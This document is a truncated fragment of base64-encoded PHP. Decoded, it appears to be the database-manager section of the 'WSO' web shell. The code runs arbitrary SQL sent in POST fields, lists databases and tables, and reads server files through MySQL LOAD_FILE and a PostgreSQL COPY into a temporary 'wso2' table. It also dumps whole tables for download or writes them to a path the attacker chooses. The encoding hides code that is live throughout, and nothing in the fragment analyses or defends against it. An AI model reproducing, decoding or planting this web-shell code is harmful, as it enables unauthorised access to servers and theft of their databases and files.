BjYXNlICdteXNxbCc6CiAgICAgICAgICAgICAgICAgICAgICAgIHJldHVybiAkdGhpcy0+cXVlcnkoIlNIT1cgZGF0YWJhc2VzIik7CiAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgYnJlYWs7CiAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgY2FzZSAncGdzcWwnOgogICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgcmV0dXJuICR0aGlzLT5yZXMgPSAkdGhpcy0+cXVlcnkoIlNFTEVDVCBkYXRuYW1lIEZST00gcGdfZGF0YWJhc2UgV0hFUkUgZGF0aXN0ZW1wbGF0ZSE9J3QnIik7CiAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgYnJlYWs7CiAgICAgICAgICAgICAgICAgICAgICAgIH0KICAgICAgICAgICAgICAgICAgICAgICAgcmV0dXJuIGZhbHNlOwogICAgICAgICAgICAgICAgfQogICAgICAgICAgICAgICAgZnVuY3Rpb24gbGlzdFRhYmxlcygpIHsKICAgICAgICAgICAgICAgICAgICAgICAgc3dpdGNoKCR0aGlzLT50eXBlKSAgICAgewogICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgIGNhc2UgJ215c3FsJzoKICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgIHJldHVybiAkdGhpcy0+cmVzID0gJHRoaXMtPnF1ZXJ5KCdTSE9XIFRBQkxFUycpOwogICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgIGJyZWFrOwogICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgIGNhc2UgJ3Bnc3FsJzoKICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgIHJldHVybiAkdGhpcy0+cmVzID0gJHRoaXMtPnF1ZXJ5KCJzZWxlY3QgdGFibGVfbmFtZSBmcm9tIGluZm9ybWF0aW9uX3NjaGVtYS50YWJsZXMgd2hlcmUgdGFibGVfc2NoZW1hICE9ICdpbmZvcm1hdGlvbl9zY2hlbWEnIEFORCB0YWJsZV9zY2hlbWEgIT0gJ3BnX2NhdGFsb2cnIik7CiAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgYnJlYWs7CiAgICAgICAgICAgICAgICAgICAgICAgIH0KICAgICAgICAgICAgICAgICAgICAgICAgcmV0dXJuIGZhbHNlOwogICAgICAgICAgICAgICAgfQogICAgICAgICAgICAgICAgZnVuY3Rpb24gZXJyb3IoKSB7CiAgICAgICAgICAgICAgICAgICAgICAgIHN3aXRjaCgkdGhpcy0+dHlwZSkgICAgIHsKICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICBjYXNlICdteXNxbCc6CiAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICByZXR1cm4gQG15c3FsX2Vycm9yKCk7CiAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgYnJlYWs7CiAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgY2FzZSAncGdzcWwnOgogICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgcmV0dXJuIEBwZ19sYXN0X2Vycm9yKCk7CiAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgYnJlYWs7CiAgICAgICAgICAgICAgICAgICAgICAgIH0KICAgICAgICAgICAgICAgICAgICAgICAgcmV0dXJuIGZhbHNlOwogICAgICAgICAgICAgICAgfQogICAgICAgICAgICAgICAgZnVuY3Rpb24gc2V0Q2hhcnNldCgkc3RyKSB7CiAgICAgICAgICAgICAgICAgICAgICAgIHN3aXRjaCgkdGhpcy0+dHlwZSkgICAgIHsKICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICBjYXNlICdteXNxbCc6CiAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICBpZihmdW5jdGlvbl9leGlzdHMoJ215c3FsX3NldF9jaGFyc2V0JykpCiAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgIHJldHVybiBAbXlzcWxfc2V0X2NoYXJzZXQoJHN0ciwgJHRoaXMtPmxpbmspOwogICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgZWxzZQogICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAkdGhpcy0+cXVlcnkoJ1NFVCBDSEFSU0VUICcuJHN0cik7CiAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICBicmVhazsKICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICBjYXNlICdwZ3NxbCc6CiAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICByZXR1cm4gQHBnX3NldF9jbGllbnRfZW5jb2RpbmcoJHRoaXMtPmxpbmssICRzdHIpOwogICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgYnJlYWs7CiAgICAgICAgICAgICAgICAgICAgICAgIH0KICAgICAgICAgICAgICAgICAgICAgICAgcmV0dXJuIGZhbHNlOwogICAgICAgICAgICAgICAgfQogICAgICAgICAgICAgICAgZnVuY3Rpb24gbG9hZEZpbGUoJHN0cikgewogICAgICAgICAgICAgICAgICAgICAgICBzd2l0Y2goJHRoaXMtPnR5cGUpICAgICB7CiAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgY2FzZSAnbXlzcWwnOgogICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgcmV0dXJuICR0aGlzLT5mZXRjaCgkdGhpcy0+cXVlcnkoIlNFTEVDVCBMT0FEX0ZJTEUoJyIuYWRkc2xhc2hlcygkc3RyKS4iJykgYXMgZmlsZSIpKTsKICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICBicmVhazsKICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICBjYXNlICdwZ3NxbCc6CiAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAkdGhpcy0+cXVlcnkoIkNSRUFURSBUQUJMRSB3c28yKGZpbGUgdGV4dCk7Q09QWSB3c28yIEZST00gJyIuYWRkc2xhc2hlcygkc3RyKS4iJztzZWxlY3QgZmlsZSBmcm9tIHdzbzI7Iik7CiAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAkcj1hcnJheSgpOwogICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgd2hpbGUoJGk9JHRoaXMtPmZldGNoKCkpCiAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICRyW10gPSAkaVsnZmlsZSddOwogICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgJHRoaXMtPnF1ZXJ5KCdkcm9wIHRhYmxlIHdzbzInKTsKICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgIHJldHVybiBhcnJheSgnZmlsZSc9PmltcGxvZGUoIlxuIiwkcikpOwogICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgIGJyZWFrOwogICAgICAgICAgICAgICAgICAgICAgICB9CiAgICAgICAgICAgICAgICAgICAgICAgIHJldHVybiBmYWxzZTsKICAgICAgICAgICAgICAgIH0KICAgICAgICAgICAgICAgIGZ1bmN0aW9uIGR1bXAoJHRhYmxlLCAkZnAgPSBmYWxzZSkgewogICAgICAgICAgICAgICAgICAgICAgICBzd2l0Y2goJHRoaXMtPnR5cGUpICAgICB7CiAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgY2FzZSAnbXlzcWwnOgogICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgJHJlcyA9ICR0aGlzLT5xdWVyeSgnU0hPVyBDUkVBVEUgVEFCTEUgYCcuJHRhYmxlLidgJyk7CiAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAkY3JlYXRlID0gbXlzcWxfZmV0Y2hfYXJyYXkoJHJlcyk7CiAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAkc3FsID0gJGNyZWF0ZVsxXS4iO1xuIjsKICAgICAgICAgICAgICAgICAgICBpZigkZnApIGZ3cml0ZSgkZnAsICRzcWwpOyBlbHNlIGVjaG8oJHNxbCk7CiAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAkdGhpcy0+cXVlcnkoJ1NFTEVDVCAqIEZST00gYCcuJHRhYmxlLidgJyk7CiAgICAgICAgICAgICAgICAgICAgJGkgPSAwOwogICAgICAgICAgICAgICAgICAgICRoZWFkID0gdHJ1ZTsKICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgIHdoaWxlKCRpdGVtID0gJHRoaXMtPmZldGNoKCkpIHsKICAgICAgICAgICAgICAgICAgICAgICAgJHNxbCA9ICcnOwogICAgICAgICAgICAgICAgICAgICAgICBpZigkaSAlIDEwMDAgPT0gMCkgewogICAgICAgICAgICAgICAgICAgICAgICAgICAgJGhlYWQgPSB0cnVlOwogICAgICAgICAgICAgICAgICAgICAgICAgICAgJHNxbCA9ICI7XG5cbiI7CiAgICAgICAgICAgICAgICAgICAgICAgIH0KIAogICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAkY29sdW1ucyA9IGFycmF5KCk7CiAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgIGZvcmVhY2goJGl0ZW0gYXMgJGs9PiR2KSB7CiAgICAgICAgICAgICAgICAgICAgICAgICAgICBpZigkdiA9PT0gbnVsbCkKICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAkaXRlbVska10gPSAiTlVMTCI7CiAgICAgICAgICAgICAgICAgICAgICAgICAgICBlbHNlaWYoaXNfaW50KCR2KSkKICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAkaXRlbVska10gPSAkdjsKICAgICAgICAgICAgICAgICAgICAgICAgICAgIGVsc2UKICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAkaXRlbVska10gPSAiJyIuQG15c3FsX3JlYWxfZXNjYXBlX3N0cmluZygkdikuIiciOwogICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICRjb2x1bW5zW10gPSAiYCIuJGsuImAiOwogICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICB9CiAgICAgICAgICAgICAgICAgICAgICAgIGlmKCRoZWFkKSB7CiAgICAgICAgICAgICAgICAgICAgICAgICAgICAkc3FsIC49ICdJTlNFUlQgSU5UTyBgJy4kdGFibGUuJ2AgKCcuaW1wbG9kZSgiLCAiLCAkY29sdW1ucykuIikgVkFMVUVTIFxuXHQoIi5pbXBsb2RlKCIsICIsICRpdGVtKS4nKSc7CiAgICAgICAgICAgICAgICAgICAgICAgICAgICAkaGVhZCA9IGZhbHNlOwogICAgICAgICAgICAgICAgICAgICAgICB9IGVsc2UKICAgICAgICAgICAgICAgICAgICAgICAgICAgICRzcWwgLj0gIlxuXHQsKCIuaW1wbG9kZSgiLCAiLCAkaXRlbSkuJyknOwogICAgICAgICAgICAgICAgICAgICAgICBpZigkZnApIGZ3cml0ZSgkZnAsICRzcWwpOyBlbHNlIGVjaG8oJHNxbCk7CiAgICAgICAgICAgICAgICAgICAgICAgICRpKys7CiAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICB9CiAgICAgICAgICAgICAgICAgICAgaWYoISRoZWFkKQogICAgICAgICAgICAgICAgICAgICAgICBpZigkZnApIGZ3cml0ZSgkZnAsICI7XG5cbiIpOyBlbHNlIGVjaG8oIjtcblxuIik7CiAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgYnJlYWs7CiAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgY2FzZSAncGdzcWwnOgogICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgJHRoaXMtPnF1ZXJ5KCdTRUxFQ1QgKiBGUk9NICcuJHRhYmxlKTsKICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgIHdoaWxlKCRpdGVtID0gJHRoaXMtPmZldGNoKCkpIHsKICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgJGNvbHVtbnMgPSBhcnJheSgpOwogICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICBmb3JlYWNoKCRpdGVtIGFzICRrPT4kdikgewogICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICRpdGVtWyRrXSA9ICInIi5hZGRzbGFzaGVzKCR2KS4iJyI7CiAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgJGNvbHVtbnNbXSA9ICRrOwogICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICB9CiAgICAgICAgICAgICAgICAgICAgICAgICRzcWwgPSAnSU5TRVJUIElOVE8gJy4kdGFibGUuJyAoJy5pbXBsb2RlKCIsICIsICRjb2x1bW5zKS4nKSBWQUxVRVMgKCcuaW1wbG9kZSgiLCAiLCAkaXRlbSkuJyk7Jy4iXG4iOwogICAgICAgICAgICAgICAgICAgICAgICBpZigkZnApIGZ3cml0ZSgkZnAsICRzcWwpOyBlbHNlIGVjaG8oJHNxbCk7CiAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICB9CiAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgYnJlYWs7CiAgICAgICAgICAgICAgICAgICAgICAgIH0KICAgICAgICAgICAgICAgICAgICAgICAgcmV0dXJuIGZhbHNlOwogICAgICAgICAgICAgICAgfQogICAgICAgIH07CiAgICAgICAgJGRiID0gbmV3IERiQ2xhc3MoJF9QT1NUWyd0eXBlJ10pOwogICAgICAgIGlmKEAkX1BPU1RbJ3AyJ109PSdkb3dubG9hZCcpIHsKICAgICAgICAgICAgICAgICRkYi0+Y29ubmVjdCgkX1BPU1RbJ3NxbF9ob3N0J10sICRfUE9TVFsnc3FsX2xvZ2luJ10sICRfUE9TVFsnc3FsX3Bhc3MnXSwgJF9QT1NUWydzcWxfYmFzZSddKTsKICAgICAgICAgICAgICAgICRkYi0+c2VsZWN0ZGIoJF9QT1NUWydzcWxfYmFzZSddKTsKICAgICAgICBzd2l0Y2goJF9QT1NUWydjaGFyc2V0J10pIHsKICAgICAgICAgICAgY2FzZSAiV2luZG93cy0xMjUxIjogJGRiLT5zZXRDaGFyc2V0KCdjcDEyNTEnKTsgYnJlYWs7CiAgICAgICAgICAgIGNhc2UgIlVURi04IjogJGRiLT5zZXRDaGFyc2V0KCd1dGY4Jyk7IGJyZWFrOwogICAgICAgICAgICBjYXNlICJLT0k4LVIiOiAkZGItPnNldENoYXJzZXQoJ2tvaThyJyk7IGJyZWFrOwogICAgICAgICAgICBjYXNlICJLT0k4LVUiOiAkZGItPnNldENoYXJzZXQoJ2tvaTh1Jyk7IGJyZWFrOwogICAgICAgICAgICBjYXNlICJjcDg2NiI6ICRkYi0+c2V0Q2hhcnNldCgnY3A4NjYnKTsgYnJlYWs7CiAgICAgICAgfQogICAgICAgIGlmKGVtcHR5KCRfUE9TVFsnZmlsZSddKSkgewogICAgICAgICAgICBvYl9zdGFydCgib2JfZ3poYW5kbGVyIiwgNDA5Nik7CiAgICAgICAgICAgIGhlYWRlcigiQ29udGVudC1EaXNwb3NpdGlvbjogYXR0YWNobWVudDsgZmlsZW5hbWU9ZHVtcC5zcWwiKTsKICAgICAgICAgICAgaGVhZGVyKCJDb250ZW50LVR5cGU6IHRleHQvcGxhaW4iKTsKICAgICAgICAgICAgZm9yZWFjaCgkX1BPU1RbJ3RibCddIGFzICR2KQogICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICRkYi0+ZHVtcCgkdik7CiAgICAgICAgICAgIGV4aXQ7CiAgICAgICAgfSBlbHNlaWYoJGZwID0gQGZvcGVuKCRfUE9TVFsnZmlsZSddLCAndycpKSB7CiAgICAgICAgICAgIGZvcmVhY2goJF9QT1NUWyd0YmwnXSBhcyAkdikKICAgICAgICAgICAgICAgICRkYi0+ZHVtcCgkdiwgJGZwKTsKICAgICAgICAgICAgZmNsb3NlKCRmcCk7CiAgICAgICAgICAgIHVuc2V0KCRfUE9TVFsncDInXSk7CiAgICAgICAgf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MSI6ICRkYi0+c2V0Q2hhcnNldCgnY3AxMjUxJyk7IGJyZWFrOwogICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgIGNhc2UgIlVURi04IjogJGRiLT5zZXRDaGFyc2V0KCd1dGY4Jyk7IGJyZWFrOwogICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgIGNhc2UgIktPSTgtUiI6ICRkYi0+c2V0Q2hhcnNldCgna29pOHInKTsgYnJlYWs7CiAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgY2FzZSAiS09JOC1VIjogJGRiLT5zZXRDaGFyc2V0KCdrb2k4dScpOyBicmVhazsKICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICBjYXNlICJjcDg2NiI6ICRkYi0+c2V0Q2hhcnNldCgnY3A4NjYnKTsgYnJlYWs7CiAgICAgICAgICAgICAgICAgICAgICAgIH0KICAgICAgICAgICAgICAgICAgICAgICAgJGRiLT5saXN0RGJzKCk7CiAgICAgICAgICAgICAgICAgICAgICAgIGVjaG8gIjxzZWxlY3QgbmFtZT1zcWxfYmFzZT48b3B0aW9uIHZhbHVlPScnPjwvb3B0aW9uPiI7CiAgICAgICAgICAgICAgICAgICAgICAgIHdoaWxlKCRpdGVtID0gJGRiLT5mZXRjaCgpKSB7CiAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgbGlzdCgka2V5LCAkdmFsdWUpID0gZWFjaCgkaXRlbSk7CiAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgZWNobyAnPG9wdGlvbiB2YWx1ZT0iJy4kdmFsdWUuJyIgJy4oJHZhbHVlPT0kX1BPU1RbJ3NxbF9iYXNlJ10/J3NlbGVjdGVkJzonJykuJz4nLiR2YWx1ZS4nPC9vcHRpb24+JzsKICAgICAgICAgICAgICAgICAgICAgICAgfQogICAgICAgICAgICAgICAgICAgICAgICBlY2hvICc8L3NlbGVjdD4nOwogICAgICAgICAgICAgICAgfQogICAgICAgICAgICAgICAgZWxzZSBlY2hvICR0bXA7CiAgICAgICAgfWVsc2UKICAgICAgICAgICAgICAgIGVjaG8gJHRtcDsKICAgICAgICBlY2hvICI8L3RkPgogICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgIDx0ZD48aW5wdXQgdHlwZT1zdWJtaXQgdmFsdWU9Jz4+JyBvbmNsaWNrPSdmcyhkLnNmKTsnPjwvdGQ+CiAgICAgICAgICAgICAgICA8dGQ+PGlucHV0IHR5cGU9Y2hlY2tib3ggbmFtZT1zcWxfY291bnQgdmFsdWU9J29uJyIgLiAoZW1wdHkoJF9QT1NUWydzcWxfY291bnQnXSk/Jyc6JyBjaGVja2VkJykgLiAiPiBjb3VudCB0aGUgbnVtYmVyIG9mIHJvd3M8L3RkPgogICAgICAgICAgICAgICAgICAgICAgICA8L3RyPgogICAgICAgICAgICAgICAgPC90YWJsZT4KICAgICAgICAgICAgICAgIDxzY3JpcHQ+CiAgICAgICAgICAgIHNfZGI9JyIuQGFkZHNsYXNoZXMoJF9QT1NUWydzcWxfYmFzZSddKS4iJzsKICAgICAgICAgICAgZnVuY3Rpb24gZnMoZikgewogICAgICAgICAgICAgICAgaWYoZi5zcWxfYmFzZS52YWx1ZSE9c19kYikgeyBmLm9uc3VibWl0ID0gZnVuY3Rpb24oKSB7fTsKICAgICAgICAgICAgICAgICAgICBpZihmLnAxKSBmLnAxLnZhbHVlPScnOwogICAgICAgICAgICAgICAgICAgIGlmKGYucDIpIGYucDIudmFsdWU9Jyc7CiAgICAgICAgICAgICAgICAgICAgaWYoZi5wMykgZi5wMy52YWx1ZT0nJzsKICAgICAgICAgICAgICAgIH0KICAgICAgICAgICAgfQogICAgICAgICAgICAgICAgICAgICAgICBmdW5jdGlvbiBzdCh0LGwpIHsKICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICBkLnNmLnAxLnZhbHVlID0gJ3NlbGVjdCc7CiAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgZC5zZi5wMi52YWx1ZSA9IHQ7CiAgICAgICAgICAgICAgICBpZihsICYmIGQuc2YucDMpIGQuc2YucDMudmFsdWUgPSBsOwogICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgIGQuc2Yuc3VibWl0KCk7CiAgICAgICAgICAgICAgICAgICAgICAgIH0KICAgICAgICAgICAgICAgICAgICAgICAgZnVuY3Rpb24gaXMoKSB7CiAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgZm9yKGk9MDtpPGQuc2YuZWxlbWVudHNbJ3RibFtdJ10ubGVuZ3RoOysraSkKICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgIGQuc2YuZWxlbWVudHNbJ3RibFtdJ11baV0uY2hlY2tlZCA9ICFkLnNmLmVsZW1lbnRzWyd0YmxbXSddW2ldLmNoZWNrZWQ7CiAgICAgICAgICAgICAgICAgICAgICAgIH0KICAgICAgICAgICAgICAgIDwvc2NyaXB0PiI7CiAgICAgICAgaWYoaXNzZXQoJGRiKSAmJiAkZGItPmxpbmspewogICAgICAgICAgICAgICAgZWNobyAiPGJyLz48dGFibGUgd2lkdGg9MTAwJSBjZWxscGFkZGluZz0yIGNlbGxzcGFjaW5nPTA+IjsKICAgICAgICAgICAgICAgICAgICAgICAgaWYoIWVtcHR5KCRfUE9TVFsnc3FsX2Jhc2UnXSkpewogICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICRkYi0+c2VsZWN0ZGIoJF9QT1NUWydzcWxfYmFzZSddKTsKICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICBlY2hvICI8dHI+PHRkIHdpZHRoPTEgc3R5bGU9J2JvcmRlci10b3A6MnB4IHNvbGlkICM2NjY7Jz48c3Bhbj5UYWJsZXM6PC9zcGFuPjxicj48YnI+IjsKICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAkdGJsc19yZXMgPSAkZGItPmxpc3RUYWJsZXMoKTsKICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICB3aGlsZSgkaXRlbSA9ICRkYi0+ZmV0Y2goJHRibHNfcmVzKSkgewogICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgbGlzdCgka2V5LCAkdmFsdWUpID0gZWFjaCgkaXRlbSk7CiAgICAgICAgICAgICAgICAgICAgaWYoIWVtcHR5KCRfUE9TVFsnc3FsX2NvdW50J10pKQogICAgICAgICAgICAgICAgICAgICAgICAkbiA9ICRkYi0+ZmV0Y2goJGRiLT5xdWVyeSgnU0VMRUNUIENPVU5UKCopIGFzIG4gRlJPTSAnLiR2YWx1ZS4nJykpOwogICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgJHZhbHVlID0gaHRtbHNwZWNpYWxjaGFycygkdmFsdWUpOwogICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgZWNobyAiPG5vYnI+PGlucHV0IHR5cGU9J2NoZWNrYm94JyBuYW1lPSd0YmxbXScgdmFsdWU9JyIuJHZhbHVlLiInPiZuYnNwOzxhIGhyZWY9IyBvbmNsaWNrPVwic3QoJyIuJHZhbHVlLiInLDEpXCI+Ii4kdmFsdWUuIjwvYT4iIC4gKGVtcHR5KCRfUE9TVFsnc3FsX2NvdW50J10pPycmbmJzcDsnOiIgPHNtYWxsPih7JG5bJ24nXX0pPC9zbWFsbD4iKSAuICI8L25vYnI+PGJyPiI7CiAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgfQogICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgIGVjaG8gIjxpbnB1dCB0eXBlPSdjaGVja2JveCcgb25jbGljaz0naXMoKTsnPiA8aW5wdXQgdHlwZT1idXR0b24gdmFsdWU9J0R1bXAnIG9uY2xpY2s9J2RvY3VtZW50LnNmLnAyLnZhbHVlPVwiZG93bmxvYWRcIjtkb2N1bWVudC5zZi5zdWJtaXQoKTsnPjxicj5GaWxlIHBhdGg6PGlucHV0IHR5cGU9dGV4dCBuYW1lPWZpbGUgdmFsdWU9J2R1bXAuc3FsJz48L3RkPjx0ZCBzdHlsZT0nYm9yZGVyLXRvcDoycHggc29saWQgIzY2NjsnPiI7CiAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgaWYoQCRfUE9TVFsncDEnXSA9PSAnc2VsZWN0JykgewogICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgJF9QT1NUWydwMSddID0gJ3F1ZXJ5JzsKICAgICAgICAgICAgICAgICAgICAkX1BPU1RbJ3AzJ10gPSAkX1BPU1RbJ3AzJ10/JF9QT1NUWydwMyddOjE7CiAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAkZGItPnF1ZXJ5KCdTRUxFQ1QgQ09VTlQoKikgYXMgbiBGUk9NICcgLiAkX1BPU1RbJ3AyJ10pOwogICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgJG51bSA9ICRkYi0+ZmV0Y2goKTsKICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICRwYWdlcyA9IGNlaWwoJG51bVsnbiddIC8gMzApOwogICAgICAgICAgICAgICAgICAgIGVjaG8gIjxzY3JpcHQ+ZC5zZi5vbnN1Ym1pdD1mdW5jdGlvbigpe3N0KFwiIiAuICRfUE9TVFsncDInXSAuICJcIiwgZC5zZi5wMy52YWx1ZSl9PC9zY3JpcHQ+PHNwYW4+Ii4kX1BPU1RbJ3AyJ10uIjwvc3Bhbj4gKHskbnVtWyduJ119IHJlY29yZHMpIFBhZ2UgIyA8aW5wdXQgdHlwZT10ZXh0IG5hbWU9J3AzJyB2YWx1ZT0iIC4gKChpbnQpJF9QT1NUWydwMyddKSAuICI+IjsKICAgICAgICAgICAgICAgICAgICBlY2hvICIgb2YgJHBhZ2VzIjsKICAgICAgICAgICAgICAgICAgICBpZigkX1BPU1RbJ3AzJ10gPiAxKQogICAgICAgICAgICAgICAgICAgICAgICBlY2hvICIgPGEgaHJlZj0jIG9uY2xpY2s9J3N0KFwiIiAuICRfUE9TVFsncDInXSAuICciLCAnIC4gKCRfUE9TVFsncDMnXS0xKSAuICIpJz4mbHQ7IFByZXY8L2E+IjsKICAgICAgICAgICAgICAgICAgICBpZigkX1BPU1RbJ3AzJ10gPCAkcGFnZXMpCiAgICAgICAgICAgICAgICAgICAgICAgIGVjaG8gIiA8YSBocmVmPSMgb25jbGljaz0nc3QoXCIiIC4gJF9QT1NUWydwMiddIC4gJyIsICcgLiAoJF9QT1NUWydwMyddKzEpIC4gIiknPk5leHQgJmd0OzwvYT4iOwogICAgICAgICAgICAgICAgICAgICRfUE9TVFsncDMnXS0tOwogICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgaWYoJF9QT1NUWyd0eXBlJ109PSdwZ3NxbCcpCiAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICRfUE9TVFsncDInXSA9ICdTRUxFQ1QgKiBGUk9NICcuJF9QT1NUWydwMiddLicgTElNSVQgMzAgT0ZGU0VUICcuKCRfUE9TVFsncDMnXSozMCk7CiAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICBlbHNlCiAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICRfUE9TVFsncDInXSA9ICdTRUxFQ1QgKiBGUk9NIGAnLiRfUE9TVFsncDInXS4nYCBMSU1JVCAnLigkX1BPU1RbJ3AzJ10qMzApLicsMzAnOwogICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgZWNobyAiPGJyPjxicj4iOwogICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgIH0KICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICBpZigoQCRfUE9TVFsncDEnXSA9PSAncXVlcnknKSAmJiAhZW1wdHkoJF9QT1NUWydwMiddKSkgewogICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgJGRiLT5xdWVyeShAJF9QT1NUWydwMiddKTsKICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgIGlmKCRkYi0+cmVzICE9PSBmYWxzZSkgewogICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAkdGl0bGUgPSBmYWxzZTsKICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgZWNobyAnPHRhYmxlIHdpZHRoPTEwMCUgY2VsbHNwYWNpbmc9MSBjZWxscGFkZGluZz0yIGNsYXNzPW1haW4gc3R5bGU9ImJhY2tncm91bmQtY29sb3I6IzI5MjkyOSI+JzsKICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgJGxpbmUgPSAxOwogICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICB3aGlsZSgkaXRlbSA9ICRkYi0+ZmV0Y2goKSkgICAgIHsKICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICBpZighJHRpdGxlKSAgICAgewogICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgZWNobyAnPHRyPic7CiAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgIC